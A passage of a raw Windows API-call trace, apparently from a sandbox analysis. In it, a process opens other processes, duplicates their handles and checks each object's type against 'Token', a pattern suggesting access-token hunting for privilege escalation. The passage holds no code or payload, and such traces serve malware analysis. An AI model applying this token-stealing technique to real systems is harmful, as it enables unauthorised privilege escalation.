dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.758] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.759] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.759] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.759] RtlEqualUnicodeString (String1="Directory", String2="Token", CaseInsensitive=1) returned 0 [0196.759] LocalFree (hMem=0x181a40) returned 0x0 [0196.759] CloseHandle (hObject=0x16c) returned 1 [0196.759] CloseHandle (hObject=0x168) returned 1 [0196.759] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.759] GetCurrentProcess () returned 0xffffffffffffffff [0196.759] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x48, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.759] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.759] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.759] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.759] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.759] LocalFree (hMem=0x160a40) returned 0x0 [0196.759] CloseHandle (hObject=0x16c) returned 1 [0196.759] CloseHandle (hObject=0x168) returned 1 [0196.759] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.759] GetCurrentProcess () returned 0xffffffffffffffff [0196.759] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.759] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.759] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.759] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.759] RtlEqualUnicodeString (String1="KeyedEvent", String2="Token", CaseInsensitive=1) returned 0 [0196.759] LocalFree (hMem=0x181a40) returned 0x0 [0196.760] CloseHandle (hObject=0x16c) returned 1 [0196.760] CloseHandle (hObject=0x168) returned 1 [0196.760] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.760] GetCurrentProcess () returned 0xffffffffffffffff [0196.760] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x50, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.760] CloseHandle (hObject=0x168) returned 1 [0196.760] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.760] GetCurrentProcess () returned 0xffffffffffffffff [0196.760] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x54, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.760] CloseHandle (hObject=0x168) returned 1 [0196.760] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.760] GetCurrentProcess () returned 0xffffffffffffffff [0196.760] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x58, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.760] CloseHandle (hObject=0x168) returned 1 [0196.760] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.760] GetCurrentProcess () returned 0xffffffffffffffff [0196.760] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x5c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.760] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.760] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.760] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.760] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.760] LocalFree (hMem=0x181a40) returned 0x0 [0196.760] CloseHandle (hObject=0x16c) returned 1 [0196.761] CloseHandle (hObject=0x168) returned 1 [0196.761] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.761] GetCurrentProcess () returned 0xffffffffffffffff [0196.761] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x60, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.761] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.761] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.761] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.761] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.761] LocalFree (hMem=0x181a40) returned 0x0 [0196.761] CloseHandle (hObject=0x16c) returned 1 [0196.761] CloseHandle (hObject=0x168) returned 1 [0196.761] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.761] GetCurrentProcess () returned 0xffffffffffffffff [0196.761] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x64, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.761] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.761] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.761] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.761] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.761] LocalFree (hMem=0x160a40) returned 0x0 [0196.761] CloseHandle (hObject=0x16c) returned 1 [0196.761] CloseHandle (hObject=0x168) returned 1 [0196.761] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.761] GetCurrentProcess () returned 0xffffffffffffffff [0196.762] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x68, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.762] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.762] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.762] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.762] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.762] LocalFree (hMem=0x160a40) returned 0x0 [0196.762] CloseHandle (hObject=0x16c) returned 1 [0196.762] CloseHandle (hObject=0x168) returned 1 [0196.762] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.762] GetCurrentProcess () returned 0xffffffffffffffff [0196.762] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x6c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.762] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.762] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.762] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.762] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.762] LocalFree (hMem=0x181a40) returned 0x0 [0196.762] CloseHandle (hObject=0x16c) returned 1 [0196.762] CloseHandle (hObject=0x168) returned 1 [0196.762] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.762] GetCurrentProcess () returned 0xffffffffffffffff [0196.762] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x70, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.762] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.762] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.762] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.763] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.763] LocalFree (hMem=0x181a40) returned 0x0 [0196.763] CloseHandle (hObject=0x16c) returned 1 [0196.763] CloseHandle (hObject=0x168) returned 1 [0196.763] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.763] GetCurrentProcess () returned 0xffffffffffffffff [0196.763] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x74, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.763] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.763] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.763] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.763] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.763] LocalFree (hMem=0x181a40) returned 0x0 [0196.763] CloseHandle (hObject=0x16c) returned 1 [0196.763] CloseHandle (hObject=0x168) returned 1 [0196.763] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.763] GetCurrentProcess () returned 0xffffffffffffffff [0196.763] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.763] CloseHandle (hObject=0x168) returned 1 [0196.763] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.763] GetCurrentProcess () returned 0xffffffffffffffff [0196.763] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.763] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.763] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.763] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.764] RtlEqualUnicodeString (String1="Directory", String2="Token", CaseInsensitive=1) returned 0 [0196.764] LocalFree (hMem=0x181a40) returned 0x0 [0196.764] CloseHandle (hObject=0x16c) returned 1 [0196.764] CloseHandle (hObject=0x168) returned 1 [0196.764] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.764] GetCurrentProcess () returned 0xffffffffffffffff [0196.764] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0xc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.764] CloseHandle (hObject=0x168) returned 1 [0196.764] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.764] GetCurrentProcess () returned 0xffffffffffffffff [0196.764] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x10, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.764] CloseHandle (hObject=0x168) returned 1 [0196.764] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.764] GetCurrentProcess () returned 0xffffffffffffffff [0196.764] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x14, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.764] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.764] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.764] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.764] RtlEqualUnicodeString (String1="Directory", String2="Token", CaseInsensitive=1) returned 0 [0196.764] LocalFree (hMem=0x181a40) returned 0x0 [0196.764] CloseHandle (hObject=0x16c) returned 1 [0196.764] CloseHandle (hObject=0x168) returned 1 [0196.764] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.765] GetCurrentProcess () returned 0xffffffffffffffff [0196.765] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x18, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.765] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.765] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x181a40 [0196.765] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x88, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.765] RtlEqualUnicodeString (String1="SymbolicLink", String2="Token", CaseInsensitive=1) returned 0 [0196.765] LocalFree (hMem=0x181a40) returned 0x0 [0196.765] CloseHandle (hObject=0x16c) returned 1 [0196.765] CloseHandle (hObject=0x168) returned 1 [0196.765] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.765] GetCurrentProcess () returned 0xffffffffffffffff [0196.765] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x1c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.765] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.765] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.765] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.765] RtlEqualUnicodeString (String1="Directory", String2="Token", CaseInsensitive=1) returned 0 [0196.765] LocalFree (hMem=0x181a40) returned 0x0 [0196.765] CloseHandle (hObject=0x16c) returned 1 [0196.765] CloseHandle (hObject=0x168) returned 1 [0196.765] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.765] GetCurrentProcess () returned 0xffffffffffffffff [0196.765] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x20, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.766] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.766] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.766] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.766] RtlEqualUnicodeString (String1="Directory", String2="Token", CaseInsensitive=1) returned 0 [0196.766] LocalFree (hMem=0x181a40) returned 0x0 [0196.766] CloseHandle (hObject=0x16c) returned 1 [0196.766] CloseHandle (hObject=0x168) returned 1 [0196.766] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.766] GetCurrentProcess () returned 0xffffffffffffffff [0196.766] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x24, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.766] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.766] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.766] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.766] RtlEqualUnicodeString (String1="Directory", String2="Token", CaseInsensitive=1) returned 0 [0196.766] LocalFree (hMem=0x181a40) returned 0x0 [0196.766] CloseHandle (hObject=0x16c) returned 1 [0196.766] CloseHandle (hObject=0x168) returned 1 [0196.766] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.766] GetCurrentProcess () returned 0xffffffffffffffff [0196.766] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x28, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.766] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.766] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.766] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.767] RtlEqualUnicodeString (String1="Directory", String2="Token", CaseInsensitive=1) returned 0 [0196.767] LocalFree (hMem=0x181a40) returned 0x0 [0196.767] CloseHandle (hObject=0x16c) returned 1 [0196.767] CloseHandle (hObject=0x168) returned 1 [0196.767] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.767] GetCurrentProcess () returned 0xffffffffffffffff [0196.767] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.767] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.767] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.767] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.767] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.767] LocalFree (hMem=0x160a40) returned 0x0 [0196.767] CloseHandle (hObject=0x16c) returned 1 [0196.767] CloseHandle (hObject=0x168) returned 1 [0196.767] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.767] GetCurrentProcess () returned 0xffffffffffffffff [0196.767] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x30, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.767] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.767] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.767] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.767] RtlEqualUnicodeString (String1="Directory", String2="Token", CaseInsensitive=1) returned 0 [0196.767] LocalFree (hMem=0x181a40) returned 0x0 [0196.767] CloseHandle (hObject=0x16c) returned 1 [0196.767] CloseHandle (hObject=0x168) returned 1 [0196.768] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.768] GetCurrentProcess () returned 0xffffffffffffffff [0196.768] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x34, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.768] CloseHandle (hObject=0x168) returned 1 [0196.768] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.768] GetCurrentProcess () returned 0xffffffffffffffff [0196.768] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.768] CloseHandle (hObject=0x168) returned 1 [0196.768] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.768] GetCurrentProcess () returned 0xffffffffffffffff [0196.768] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.768] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.768] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.768] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.768] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.768] LocalFree (hMem=0x160a40) returned 0x0 [0196.768] CloseHandle (hObject=0x16c) returned 1 [0196.768] CloseHandle (hObject=0x168) returned 1 [0196.768] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.768] GetCurrentProcess () returned 0xffffffffffffffff [0196.768] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x40, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.768] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 